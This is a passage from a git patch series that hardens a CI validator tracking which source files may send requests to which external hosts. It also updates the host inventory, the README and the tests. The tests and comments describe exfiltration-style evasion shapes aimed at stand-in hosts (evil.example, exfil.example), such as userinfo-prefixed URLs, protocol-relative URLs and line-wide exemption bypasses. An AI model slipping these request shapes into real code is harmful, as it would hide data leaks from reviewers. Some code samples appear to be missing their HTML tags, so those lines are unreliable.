From 24cc36aa0cca2a6d0de46d4009775d85de896f1c Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 15:28:02 +0700 Subject: [PATCH 01/10] fix(validate): check where a host is REQUESTED, not merely mentioned MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An independent QA pass returned SHIP: NO on what #108 merged, and it was right on every point. All six were verified against source before being acted on. The validator did not catch the defect it was built for. Re-adding to ProjectUsagePanel — the original leak, in the original file — passed with exit 0. The cause was structural: `seen_in` is file-level, and that file legitimately contains "https://github.com/" as a prefix it strips off project_ref. github.com was therefore in its declared set, and the rule could not tell a mention from a request. So the scan now produces two views. `seen_in` records every file that names a host, which is inventory. `request_from` records the files allowed to reach it, which is the constraint. Both variants of the original defect are now reported with file and line. Classification is default-deny: a host literal is a request target unless the line proves otherwise — a comment, string surgery on a stored value, an the user must click. The inverse was tried first and under-detected, because `const url = new URL("https://skills.sh/...")` and `fetch(url)` sit on different lines and no sink ever shares a line with that host. For a security control, missing a destination is worse than asking for one more declaration. Host matching also had to change. `img.src = `http://${token}-${i}.d.ip.net.coffee/pixel.gif`` is a real browser request in IpCheckPage, and the old pattern matched nothing when a host began with an interpolation — so that destination was invisible to the check that most needed to see it, while the inventory described ip.net.coffee as server-only. Interpolations are now collapsed and the literal suffix pinned, with a guard that returns nothing rather than invent a host when the expression runs past the match: `http://${req.headers.host || "localhost"}` was otherwise reported as a destination named req.headers.host. Two README rows were false, both written in #108: - raw.githubusercontent.com was described as the price list only; it also downloads the files of a skill you install, carrying owner, repo, branch and path. - The Skills row claimed it sends "your search terms, nothing else". Also: the Projects tab in DataDetails rendered an empty box with no message, which reads as "you spent nothing" rather than "nothing is attributed yet"; and HeaderGithubStar took the repository as a prop with a default, an API shaped to invite a caller to pass a user-derived value into a URL. Nothing passed one, so that is hardening. Closes #101 --- README.md | 5 +- .../src/ui/components/HeaderGithubStar.jsx | 8 +- .../ui/dashboard/components/DataDetails.jsx | 8 ++ .../components/__tests__/DataDetails.test.jsx | 11 ++ outbound-hosts.json | 100 ++++++++++++++-- scripts/validate-outbound.cjs | 111 ++++++++++++++---- test/outbound-inventory.test.js | 81 ++++++++++--- 7 files changed, 276 insertions(+), 48 deletions(-) diff --git a/README.md b/README.md index ecd0ccac..1085d41c 100644 --- a/README.md +++ b/README.md @@ -153,10 +153,11 @@ This table is checked in CI against [`outbound-hosts.json`](outbound-hosts.json) | Pricing refresh (daily) | `raw.githubusercontent.com` | server | The public [LiteLLM](https://github.com/BerriAI/litellm) price list. Anonymous — no credentials, nothing sent. Works offline from a bundled snapshot. | | Quota chips + Limits page | `api.anthropic.com`, `chatgpt.com`, `api.openai.com`, `cursor.com`, `www.cursor.com`, `cloudcode-pa.googleapis.com`, `api.kimi.com`, `api.z.ai`, `api.github.com` | server | Asks *your* provider about *your* plan limits, using credentials already on your machine. Only for providers you actually use. | | Token refresh | `auth.openai.com`, `oauth2.googleapis.com`, `auth.kimi.com` | server | Renews those same provider credentials when they expire. | -| Skills tab | `skills.sh`, `api.github.com`, `github.com` | server | Searches the public skills directory and reads public repository metadata. Sends your search terms, nothing else. Only when you open that tab. | +| Skills tab — search | `skills.sh` | server | Searches the public skills directory. Sends the terms you typed. Only when you open that tab. | +| Skills tab — install | `api.github.com`, `raw.githubusercontent.com` | server | Reads a public repository's file tree and downloads the skill's files. Carries the repository owner, name, branch and path — no usage data. | | Currency conversion | `open.er-api.com` | **browser** | Public USD exchange rates. Anonymous. Only when you pick a non-USD currency. | | Star count in the header | `api.github.com` | **browser** | The star count for this project's own repository — a fixed public URL that says nothing about you. | -| IP check page | `ip.net.coffee`, `1.1.1.1`, `claude.ai`, `www.anthropic.com` | server + **browser** | Only if you open that page, whose entire purpose is showing you your own IP and whether Anthropic is reachable. | +| IP check page | `ip.net.coffee`, `d.ip.net.coffee`, `1.1.1.1`, `claude.ai`, `www.anthropic.com` | server + **browser** | Only if you open that page, whose entire purpose is showing you your own IP, your DNS resolver, and whether Anthropic is reachable. The `d.` subdomain is a per-run DNS probe: your browser resolves a unique name so the page can see which resolver answered. | | `npx` startup | `registry.npmjs.org` | server | How `npx` works — it downloads the package. A global install avoids it. | **What is deliberately absent:** the Projects panel does not fetch repository avatars or star counts. Doing so would have put the name of a repository you have checked out — a private one included — into a URL sent to GitHub from your browser. It did, until [#100](https://github.com/pitimon/TokenTracker/issues/100). Project rows now render a local icon. diff --git a/dashboard/src/ui/components/HeaderGithubStar.jsx b/dashboard/src/ui/components/HeaderGithubStar.jsx index 7fdb4a2a..501e88d8 100644 --- a/dashboard/src/ui/components/HeaderGithubStar.jsx +++ b/dashboard/src/ui/components/HeaderGithubStar.jsx @@ -4,7 +4,13 @@ import { shouldFetchGithubStars } from "../dashboard/util/should-fetch-github-st /** * Dashboard / marketing header: single row — icon + Star + count (matches Shell header). */ -export function HeaderGithubStar({ repo = "pitimon/TokenTracker" }) { +// This project's own repository, fixed. It was a prop with a default, which is +// an API that invites a caller to pass a user-derived value into a URL — the +// shape of issue 100. Nothing passed one, so this is hardening, not a fix. +const REPO = "pitimon/TokenTracker"; + +export function HeaderGithubStar() { + const repo = REPO; const [stars, setStars] = useState(null); useEffect(() => { diff --git a/dashboard/src/ui/dashboard/components/DataDetails.jsx b/dashboard/src/ui/dashboard/components/DataDetails.jsx index 98611432..f59fd52b 100644 --- a/dashboard/src/ui/dashboard/components/DataDetails.jsx +++ b/dashboard/src/ui/dashboard/components/DataDetails.jsx @@ -130,6 +130,14 @@ export function DataDetails({ {/* Projects Tab */} {activeTab === "projects" && (
+ {/* The Daily tab explains itself when empty; this one rendered a blank + box, which reads as "you have no spending" rather than "nothing has + been attributed to a project yet". */} + {projectEntries.length === 0 ? ( +
+ {copy("dashboard.projects.empty")} +
+ ) : null} {projectEntries.slice(0, projectLimit).map((entry, idx) => { const ref = typeof entry?.project_ref === "string" ? entry.project_ref : ""; const key = entry?.project_key || ref || `entry-${idx}`; diff --git a/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx b/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx index c4dac182..bf1dd647 100644 --- a/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx +++ b/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx @@ -114,3 +114,14 @@ describe("DataDetails", () => { expect(screen.queryByText("fable-5")).not.toBeInTheDocument(); }); }); + +describe("DataDetails — Projects empty state", () => { + it("says so when nothing has been attributed to a project", () => { + // It used to render an empty container, which reads as "you spent nothing" + // rather than "no usage carries project attribution yet". The Daily tab has + // always explained itself; this one did not. + renderDetails({ projectEntries: [] }); + fireEvent.click(screen.getByRole("tab", { name: "Project Usage" })); + expect(screen.getByText("dashboard.projects.empty")).toBeInTheDocument(); + }); +}); diff --git a/outbound-hosts.json b/outbound-hosts.json index c2bfba8a..a1fe5b9f 100644 --- a/outbound-hosts.json +++ b/outbound-hosts.json @@ -13,12 +13,16 @@ { "host": "raw.githubusercontent.com", "from": "server", - "user_data": false, + "user_data": true, "readme": true, - "purpose": "Downloads the public LiteLLM price list. Anonymous; nothing is sent. Works offline from the bundled seed snapshot.", + "purpose": "Two uses. The public LiteLLM price list (anonymous, nothing sent, works offline from a bundled snapshot), and downloading the FILES of a public skill you chose to install \u2014 that request carries the repository owner, name, branch and file path.", "seen_in": [ "src/lib/pricing/litellm-fetcher.js", "src/lib/skills-manager.js" + ], + "request_from": [ + "src/lib/pricing/litellm-fetcher.js", + "src/lib/skills-manager.js" ] }, { @@ -29,6 +33,9 @@ "purpose": "Asks Anthropic about the user's own plan limits, using credentials already on the machine.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -39,6 +46,9 @@ "purpose": "Codex plan limits for the signed-in account.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -49,6 +59,9 @@ "purpose": "OpenAI usage/limits for the signed-in account.", "seen_in": [ "src/lib/subscriptions.js" + ], + "request_from": [ + "src/lib/subscriptions.js" ] }, { @@ -59,6 +72,9 @@ "purpose": "Refreshes the OpenAI credential when it expires.", "seen_in": [ "src/lib/codex-token-refresh.js" + ], + "request_from": [ + "src/lib/codex-token-refresh.js" ] }, { @@ -69,6 +85,9 @@ "purpose": "Cursor plan usage for the signed-in account.", "seen_in": [ "src/lib/cursor-config.js" + ], + "request_from": [ + "src/lib/cursor-config.js" ] }, { @@ -79,6 +98,9 @@ "purpose": "Same as cursor.com; both hosts appear in Cursor's own endpoints.", "seen_in": [ "src/lib/cursor-config.js" + ], + "request_from": [ + "src/lib/cursor-config.js" ] }, { @@ -89,6 +111,9 @@ "purpose": "Gemini Code Assist quota for the signed-in account.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -99,6 +124,9 @@ "purpose": "Refreshes the Google credential when it expires.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -109,6 +137,9 @@ "purpose": "Kimi plan usage for the signed-in account.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -119,6 +150,9 @@ "purpose": "Refreshes the Kimi credential when it expires.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -129,6 +163,9 @@ "purpose": "Z.AI / GLM coding-plan quota, using ZAI_API_KEY or a reused Anthropic-compatible token.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -138,9 +175,14 @@ "readme": true, "purpose": "Server: GitHub Copilot quota for the signed-in account. Browser: the header star count for THIS repository only \u2014 a fixed public repo that says nothing about the user. The per-project variant, which put a repo you have checked out in the URL path, was removed in #100. Also used server-side by the Skills tab to read public repository metadata.", "seen_in": [ - "src/lib/usage-limits.js", "dashboard/src/ui/components/HeaderGithubStar.jsx", - "src/lib/skills-manager.js" + "src/lib/skills-manager.js", + "src/lib/usage-limits.js" + ], + "request_from": [ + "dashboard/src/ui/components/HeaderGithubStar.jsx", + "src/lib/skills-manager.js", + "src/lib/usage-limits.js" ] }, { @@ -160,6 +202,13 @@ "dashboard/src/ui/dashboard/components/ProjectUsagePanel.jsx", "src/commands/init.js", "src/lib/skills-manager.js" + ], + "request_from": [ + "dashboard/src/lib/mock-data.ts", + "dashboard/src/pages/SkillDetailPanel.jsx", + "dashboard/src/pages/WidgetsPage.jsx", + "src/commands/init.js", + "src/lib/skills-manager.js" ] }, { @@ -167,9 +216,12 @@ "from": "server", "user_data": false, "readme": true, - "purpose": "Public skills directory used by the Skills tab to search and list available skills. The query is what you typed into that tab; no usage data is attached. Only reached when the Skills tab is opened.", + "purpose": "Public skills directory searched by the Skills tab. Sends the terms you typed. Installing a skill then reads repository metadata from api.github.com and files from raw.githubusercontent.com, which carry owner, repo, branch and path. No usage data is attached to any of it.", "seen_in": [ "src/lib/skills-manager.js" + ], + "request_from": [ + "src/lib/skills-manager.js" ] }, { @@ -180,16 +232,36 @@ "purpose": "Public USD exchange rates, so costs can be shown in a local currency. Anonymous; the request carries no usage data. Only fires when a non-USD currency is selected.", "seen_in": [ "dashboard/src/lib/exchange-rate.ts" + ], + "request_from": [ + "dashboard/src/lib/exchange-rate.ts" ] }, { "host": "ip.net.coffee", - "from": "server", + "from": "both", "user_data": true, "readme": true, - "purpose": "Backs the optional IP-check page, proxied through the local server at /proxy/ipcheck. Only reached when that page is opened.", + "purpose": "Backs the optional IP-check page. The server proxies the data endpoints at /proxy/ipcheck; the browser also loads image probes directly. Only reached when that page is opened.", + "seen_in": [ + "dashboard/src/pages/IpCheckPage.jsx", + "src/lib/local-api.js" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx", + "src/lib/local-api.js" + ] + }, + { + "host": "d.ip.net.coffee", + "from": "browser", + "user_data": true, + "readme": true, + "purpose": "IP-check page only. The browser loads image probes at a unique per-run subdomain so ip.net.coffee's authoritative DNS server can observe WHICH RESOLVER asked \u2014 that is how the page detects a DNS leak, and it is the page's stated purpose. The hostname is built by interpolation, which is why an earlier version of this check could not see the destination at all.", "seen_in": [ - "src/lib/local-api.js", + "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ "dashboard/src/pages/IpCheckPage.jsx" ] }, @@ -201,6 +273,9 @@ "purpose": "IP-check page only: Cloudflare's trace endpoint, which is how the page learns your public IP. Showing you your own IP is that page's entire purpose.", "seen_in": [ "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" ] }, { @@ -211,6 +286,9 @@ "purpose": "IP-check page only: a reachability probe measuring whether Anthropic is reachable from this network.", "seen_in": [ "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" ] }, { @@ -221,6 +299,9 @@ "purpose": "IP-check page only: the second reachability probe, alongside claude.ai.", "seen_in": [ "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" ] }, { @@ -229,7 +310,8 @@ "user_data": false, "readme": true, "purpose": "Not called by our code \u2014 this is npx fetching the package when TokenTracker is started that way. Listed because a user watching their network sees it and deserves an explanation.", - "seen_in": [] + "seen_in": [], + "request_from": [] } ], "ignored_hosts": { diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index d68ffd81..36985582 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -26,7 +26,64 @@ const path = require("node:path"); const ROOT = path.resolve(__dirname, ".."); const SCAN_DIRS = ["src", "dashboard/src"]; const SCAN_EXTENSIONS = new Set([".js", ".jsx", ".ts", ".tsx", ".cjs", ".mjs"]); -const HOST_RE = /https?:\/\/([a-zA-Z0-9._-]+)/g; +// Matches the scheme, then the authority up to the first delimiter. Deliberately +// permissive about what the authority contains, because a host is often built by +// interpolation — `http://${token}-${i}.d.ip.net.coffee/pixel.gif` is a real +// browser image load in IpCheckPage, and a strict [a-zA-Z0-9._-]+ matches nothing +// there, hiding the destination from the very check that most needs to see it. +const URL_RE = /https?:\/\/([^\s"'`)<>]+)/g; + +// Reduces an authority to the literal host it can be pinned to. Interpolated +// segments are unknowable, so they are dropped and what remains is the suffix an +// operator would actually see in DNS: `${token}-${i}.d.ip.net.coffee` -> `d.ip.net.coffee`. +function literalHost(authority) { + const withoutPath = authority.split("/")[0].split("?")[0]; + // Collapse COMPLETE interpolations first, then reject if any interpolation + // syntax survives: that means the match ended mid-expression and no literal + // suffix can be pinned. The real case is + // `http://${req.headers.host || "localhost"}`, where the capture stops at the + // quote and the remainder reads like a hostname but is a property path. + const collapsed = withoutPath.replace(/\$\{[^}]*\}/g, "\u0000"); + if (/[${}]/.test(collapsed)) return null; + const stripped = collapsed + .split("\u0000") + .pop() + .replace(/^[^a-zA-Z0-9]+/, "") + .replace(/:.*$/, ""); + if (!stripped) return null; + // Must look like a hostname: dotted labels, or a bare IPv4. + if (!/^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?)+$/.test(stripped)) { + return null; + } + return stripped; +} + +// Default-deny. A host literal in source is treated as a REQUEST TARGET unless +// the line shows it is not one. +// +// The inverse — listing the constructs that perform a request — was tried first +// and under-detected: `const url = new URL("https://skills.sh/...")` on one line +// and `fetch(url)` on another is a request whose host never shares a line with a +// sink. For a security control, missing a real destination is far worse than +// asking for one more declaration, so the burden of proof sits on "this is only +// a mention". +// +// Why this matters at all: `seen_in` is file-level, and ProjectUsagePanel +// legitimately contains "https://github.com/" as a prefix it strips off +// project_ref. That put github.com in its declared set, so re-adding +// to that exact file — the original +// defect of issue 100 — passed the check built to prevent it. +const MENTION_ONLY_RE = [ + /^\s*(\/\/|\*|\/\*)/, // a comment + /\.(replace|split|startsWith|endsWith|includes|slice)\s*\(/, // string surgery on a stored value + /]*href/, // a link the user must click + /\bhref=\{`?https/, // JSX anchor href + /\b(readmeUrl|sourceHref|RELEASES_URL|repoUrl|docsUrl)\b/, // named link constants +]; + +function isMentionOnly(line) { + return MENTION_ONLY_RE.some((re) => re.test(line)); +} function walk(dir, out = []) { if (!fs.existsSync(dir)) return out; @@ -48,21 +105,31 @@ function isTestFile(filePath) { return /\.test\.[jt]sx?$/.test(filePath) || /(^|[\\/])__tests__[\\/]/.test(filePath); } +// Returns two views of the same scan: every file that NAMES each host, and every +// file that REQUESTS it. The second is the one with security meaning. function collectHosts({ root = ROOT } = {}) { - const found = new Map(); // host -> Set(relative file) + const mentions = new Map(); + const requests = new Map(); for (const dir of SCAN_DIRS) { for (const filePath of walk(path.join(root, dir))) { if (isTestFile(filePath)) continue; - const content = fs.readFileSync(filePath, "utf8"); const relative = path.relative(root, filePath); - for (const match of content.matchAll(HOST_RE)) { - const host = match[1]; - if (!found.has(host)) found.set(host, new Set()); - found.get(host).add(relative); - } + const lines = fs.readFileSync(filePath, "utf8").split("\n"); + lines.forEach((line, index) => { + for (const match of line.matchAll(URL_RE)) { + const host = literalHost(match[1]); + if (!host) continue; + if (!mentions.has(host)) mentions.set(host, new Set()); + mentions.get(host).add(relative); + if (isMentionOnly(line)) continue; + if (!requests.has(host)) requests.set(host, new Map()); + requests.get(host).set(relative, index + 1); + } + }); } } - return found; + mentions.requests = requests; + return mentions; } // --- Half B: the hole a host-literal scan cannot see ------------------------- @@ -92,8 +159,9 @@ const DYNAMIC_FETCH_ALLOWLIST = new Map([ function externalHostsIn(content, inventory) { const hosts = new Set(); - for (const match of content.matchAll(HOST_RE)) { - if (!isIgnored(match[1], inventory)) hosts.add(match[1]); + for (const match of content.matchAll(URL_RE)) { + const host = literalHost(match[1]); + if (host && !isIgnored(host, inventory)) hosts.add(host); } return hosts; } @@ -166,20 +234,19 @@ function checkOutbound({ root = ROOT } = {}) { } } - // 3. A declared host may only be reached from the files that declare it. - // Without this, `seen_in` is documentation: re-adding the exact call that - // caused #100 to ProjectUsagePanel would pass, because api.github.com is - // legitimately declared for the header star count elsewhere. The question - // that matters is not only "which hosts can we reach" but "from where". + // 3. A declared host may only be REQUESTED from the files listed in + // request_from. `seen_in` records every file that names the host, which is + // inventory; `request_from` records the files allowed to actually reach it, + // which is the security constraint. Conflating them is what let the original + // issue-100 call be re-added to a file that legitimately mentions github.com. for (const entry of inventory.hosts || []) { - const allowed = new Set(entry.seen_in || []); - if (allowed.size === 0) continue; - for (const file of found.get(entry.host) || []) { + const allowed = new Set(entry.request_from || []); + for (const [file, line] of found.requests.get(entry.host) || []) { if (allowed.has(file)) continue; findings.push( - `'${entry.host}' is referenced in ${file}, which is not in its seen_in list` + - ` — add the file to outbound-hosts.json if the call belongs there, and re-read the` + - ` purpose field before you do`, + `${file}:${line} requests '${entry.host}', which is not in its request_from list` + + ` — if this call belongs, add the file to outbound-hosts.json and re-read the` + + ` purpose field first; if it does not, this is the defect the check exists for`, ); } } diff --git a/test/outbound-inventory.test.js b/test/outbound-inventory.test.js index 08ff8530..e86b0229 100644 --- a/test/outbound-inventory.test.js +++ b/test/outbound-inventory.test.js @@ -31,6 +31,7 @@ const declared = (host, extra = {}) => ({ readme: false, purpose: "test", seen_in: ["src/a.js"], + request_from: ["src/a.js"], ...extra, }); @@ -124,32 +125,42 @@ test("an ignore entry cannot exempt more than the host it names", () => { ); }); -test("a declared host reached from an undeclared file is caught", () => { - // The check that closes the actual #100 shape. api.github.com is legitimately - // declared for the header star count, so re-adding the per-project call would - // pass a check that only asks "which hosts can we reach". The question that - // matters is also "from where". +test("a request from a file that only had permission to MENTION the host is caught", () => { + // The exact bypass an independent QA pass demonstrated on the merged branch. + // ProjectUsagePanel legitimately contains "https://github.com/" as a prefix it + // strips off project_ref, so file-level seen_in listed it as declared — and + // re-adding to that very file, + // the original defect, passed the check built to prevent it. const root = fixture({ files: { - "dashboard/src/Allowed.jsx": 'const u = "https://shared.example/ok";\n', - "dashboard/src/Sneaky.jsx": 'const u = `https://shared.example/${repo}`;\n', + "dashboard/src/Allowed.jsx": 'fetch("https://shared.example/ok");\n', + "dashboard/src/Mentions.jsx": [ + 'const ref = raw.replace("https://shared.example/", "");', + "const bad = ;", + "", + ].join("\n"), }, - hosts: [declared("shared.example", { seen_in: ["dashboard/src/Allowed.jsx"] })], + hosts: [ + declared("shared.example", { + seen_in: ["dashboard/src/Allowed.jsx", "dashboard/src/Mentions.jsx"], + request_from: ["dashboard/src/Allowed.jsx"], + }), + ], }); const findings = checkOutbound({ root }); - assert.equal(findings.length, 1); - assert.match(findings[0], /Sneaky\.jsx, which is not in its seen_in list/); + assert.equal(findings.length, 1, JSON.stringify(findings)); + assert.match(findings[0], /Mentions\.jsx:2 requests 'shared\.example'/); }); -test("seen_in is enforced, so it cannot drift into decoration", () => { +test("request_from is enforced, so it cannot drift into decoration", () => { // Every seen_in list in the committed inventory is exact. They were // hand-written first and were wrong in six entries; the repo test above is // what surfaced that, and this one states the expectation directly. const root = fixture({ files: { "src/a.js": 'const u = "https://x.example/1";\n' }, - hosts: [declared("x.example", { seen_in: ["src/nonexistent.js"] })], + hosts: [declared("x.example", { request_from: [] })], }); - assert.ok(checkOutbound({ root }).some((f) => f.includes("not in its seen_in list"))); + assert.ok(checkOutbound({ root }).some((f) => f.includes("not in its request_from list"))); }); // --- Half B ------------------------------------------------------------------ @@ -165,7 +176,7 @@ test("a runtime-built fetch target is caught where the file can reach outside", "", ].join("\n"), }, - hosts: [declared("exfil.example", { seen_in: ["dashboard/src/Bad.jsx"] })], + hosts: [declared("exfil.example", { seen_in: ["dashboard/src/Bad.jsx"], request_from: ["dashboard/src/Bad.jsx"] })], }); const findings = checkOutbound({ root }); assert.ok( @@ -189,3 +200,45 @@ test("a runtime-built fetch is left alone when the file names no external host", }); assert.deepEqual(checkOutbound({ root }), []); }); + +test("a host built by interpolation is resolved to its literal suffix", () => { + // `img.src = `http://${token}-${i}.d.ip.net.coffee/pixel.gif`` is a real + // browser request in IpCheckPage. A strict [a-zA-Z0-9._-]+ host pattern matches + // nothing there, so that destination was invisible to the check that most + // needed to see it — and the inventory described the host as server-only. + const root = fixture({ + files: { + "dashboard/src/Probe.jsx": "img.src = `http://${token}-${i}.probe.example/p.gif`;\n", + }, + }); + assert.ok( + checkOutbound({ root }).some((f) => f.includes("undeclared outbound host 'probe.example'")), + "the literal suffix of an interpolated host must be reported", + ); +}); + +test("an unresolvable interpolated host is not invented", () => { + // `http://${req.headers.host || "localhost"}` ends the match mid-expression. + // Guessing from the remainder reports `req.headers.host` as a destination, + // which is noise that trains people to ignore the check. + const root = fixture({ + files: { "src/serve.js": 'const u = new URL(p, `http://${req.headers.host || "localhost"}`);\n' }, + }); + assert.deepEqual(checkOutbound({ root }), []); +}); + +test("a comment or a clickable link is a mention, not a request", () => { + // Default-deny would otherwise flag every documented URL and every , + // and a check that flags prose gets switched off. + const root = fixture({ + files: { + "dashboard/src/Doc.jsx": [ + "// See https://docs.example/guide for the format.", + 'const link = docs;', + "", + ].join("\n"), + }, + hosts: [declared("docs.example", { seen_in: ["dashboard/src/Doc.jsx"], request_from: [] })], + }); + assert.deepEqual(checkOutbound({ root }), []); +}); From 189005c28cfd7e67b82ed619f681075d92c16a86 Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 16:04:58 +0700 Subject: [PATCH 02/10] fix(validate): close three evasions found by attacking the check MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Codex QA gate could not run — the service returned 503 with `Too many concurrent requests` and a `biscuit_baker_service_me_circuit_open` auth error. Rather than wait, I ran the attacks I had written the gate's brief to ask for. Three of them worked. 1. Userinfo. `https://shared.example@evil.example/p.png` reaches evil.example, while the part that looks like a declared host is attacker-chosen decoration. Reading the left side reports a permitted host; refusing to parse hides the request. Now takes what the browser takes: everything after the last `@`. 2. Protocol-relative. `//evil.example/p.png` inherits the page's scheme and carries none for a `https?://` pattern to match, so it was invisible. Matched now, anchored to a quote or JSX brace so a `//` comment and a path like `a//b` are not mistaken for one. 3. Line-wide mention exemption. The mention test applied to the whole line, so putting the request beside an unrelated `.includes(` or `.replace(` silenced it — a one-character bypass of the check built to stop exactly that request. The test is now positional: only a URL that IS the argument of a string operation, or sits on a comment line, is a mention. Removing the line-wide rule also removed the anchor heuristics, and three real `` sites surfaced as requests. They are not guessed back: `link_from` declares, per host, the files where it is only ever a target the user clicks. Real links appear as `` split across lines, as named constants used later, and as props threaded through components; every heuristic for those is a guess whose wrong answer exempts a real request. An inventory entry is a diff a reviewer has to approve, same weight as `request_from`. Seven attack shapes now caught, with legitimate mentions still silent — a check that flags prose is a check someone turns off. All seven are regression tests rather than a script I ran once. --- outbound-hosts.json | 15 ++++-- scripts/validate-outbound.cjs | 57 ++++++++++++++++----- test/outbound-inventory.test.js | 91 +++++++++++++++++++++++++++++++-- 3 files changed, 141 insertions(+), 22 deletions(-) diff --git a/outbound-hosts.json b/outbound-hosts.json index a1fe5b9f..74a4245a 100644 --- a/outbound-hosts.json +++ b/outbound-hosts.json @@ -190,7 +190,7 @@ "from": "both", "user_data": false, "readme": false, - "purpose": "Outbound links in the dashboard (repository, releases, skill sources) plus server-side reads of public skill repositories. A link is not a request until the user clicks it. No avatar or image is loaded from here any more (#100).", + "purpose": "Server: reads public skill repositories. Browser: link targets only \u2014 the repository, releases and skill sources, which are requests the user makes by clicking. No avatar or image is loaded from here (issue 100).", "seen_in": [ "dashboard/src/components/LocalOnlyNotice.jsx", "dashboard/src/lib/mock-data.ts", @@ -204,11 +204,16 @@ "src/lib/skills-manager.js" ], "request_from": [ - "dashboard/src/lib/mock-data.ts", - "dashboard/src/pages/SkillDetailPanel.jsx", - "dashboard/src/pages/WidgetsPage.jsx", - "src/commands/init.js", "src/lib/skills-manager.js" + ], + "link_from": [ + "dashboard/src/components/LocalOnlyNotice.jsx", + "dashboard/src/pages/SkillsPage.jsx", + "dashboard/src/pages/WidgetsPage.jsx", + "dashboard/src/ui/components/HeaderGithubStar.jsx", + "dashboard/src/pages/SkillDetailPanel.jsx", + "dashboard/src/lib/mock-data.ts", + "src/commands/init.js" ] }, { diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index 36985582..b2954766 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -33,11 +33,24 @@ const SCAN_EXTENSIONS = new Set([".js", ".jsx", ".ts", ".tsx", ".cjs", ".mjs"]); // there, hiding the destination from the very check that most needs to see it. const URL_RE = /https?:\/\/([^\s"'`)<>]+)/g; +// Protocol-relative URLs inherit the page's scheme, so `//evil.example/p.png` is +// as much a request as the https form — and carries no scheme for URL_RE to +// match. Anchored to a quote or JSX brace so a `//` comment or a path like +// `a//b` is not mistaken for one. +const PROTOCOL_RELATIVE_RE = /["'`{]\s*\/\/([a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)+[^\s"'`)<>]*)/g; + // Reduces an authority to the literal host it can be pinned to. Interpolated // segments are unknowable, so they are dropped and what remains is the suffix an // operator would actually see in DNS: `${token}-${i}.d.ip.net.coffee` -> `d.ip.net.coffee`. function literalHost(authority) { - const withoutPath = authority.split("/")[0].split("?")[0]; + // Userinfo first: in `https://github.com@evil.example/p.png` the real host is + // evil.example, and the part that LOOKS like a declared host is attacker-chosen + // decoration. Taking the text before the '@' would read as permitted; dropping + // the URL entirely would hide it. Take what the browser takes. + const authorityOnly = authority.split("/")[0].split("?")[0]; + const withoutPath = authorityOnly.includes("@") + ? authorityOnly.slice(authorityOnly.lastIndexOf("@") + 1) + : authorityOnly; // Collapse COMPLETE interpolations first, then reject if any interpolation // syntax survives: that means the match ended mid-expression and no literal // suffix can be pinned. The real case is @@ -73,16 +86,32 @@ function literalHost(authority) { // project_ref. That put github.com in its declared set, so re-adding // to that exact file — the original // defect of issue 100 — passed the check built to prevent it. -const MENTION_ONLY_RE = [ - /^\s*(\/\/|\*|\/\*)/, // a comment - /\.(replace|split|startsWith|endsWith|includes|slice)\s*\(/, // string surgery on a stored value - /]*href/, // a link the user must click - /\bhref=\{`?https/, // JSX anchor href - /\b(readmeUrl|sourceHref|RELEASES_URL|repoUrl|docsUrl)\b/, // named link constants -]; +// A LINE-level exemption is trivially defeated: put the request on a line that +// also does unrelated string surgery and the whole line goes quiet. So the test +// is applied to the text immediately BEFORE the URL, not to the line. +// +// if (k.includes("x")) el.innerHTML = ``; +// +// used to be exempt because `.includes(` appeared somewhere on it. Now only a URL +// that is itself the argument of a string operation, or sits inside an , +// or lives on a comment line, counts as a mention. +const MENTION_CALL_RE = /\.(replace|split|startsWith|endsWith|includes|slice|indexOf|lastIndexOf)\s*\(\s*$/; +const COMMENT_LINE_RE = /^\s*(\/\/|\*|\/\*)/; -function isMentionOnly(line) { - return MENTION_ONLY_RE.some((re) => re.test(line)); +// A URL is a REQUEST unless one of three things is true at the URL's own +// position: the line is a comment, the URL is the direct argument of a string +// operation, or the file is listed in that host's `link_from` — a place where the +// host is only ever a target the user clicks. +// +// `link_from` is deliberately an explicit list rather than anchor detection. Real +// links appear as `` split across lines, as named constants used later, and as +// props threaded through components; every heuristic for those is a guess, and a +// wrong guess here exempts a real request. An entry in the inventory is a visible +// diff a reviewer has to approve, which is the same weight as `request_from`. +function isMentionOnly(line, matchIndex) { + if (COMMENT_LINE_RE.test(line)) return true; + const before = line.slice(0, matchIndex).replace(/["'`{(\s]+$/, ""); + return MENTION_CALL_RE.test(before + "(") || 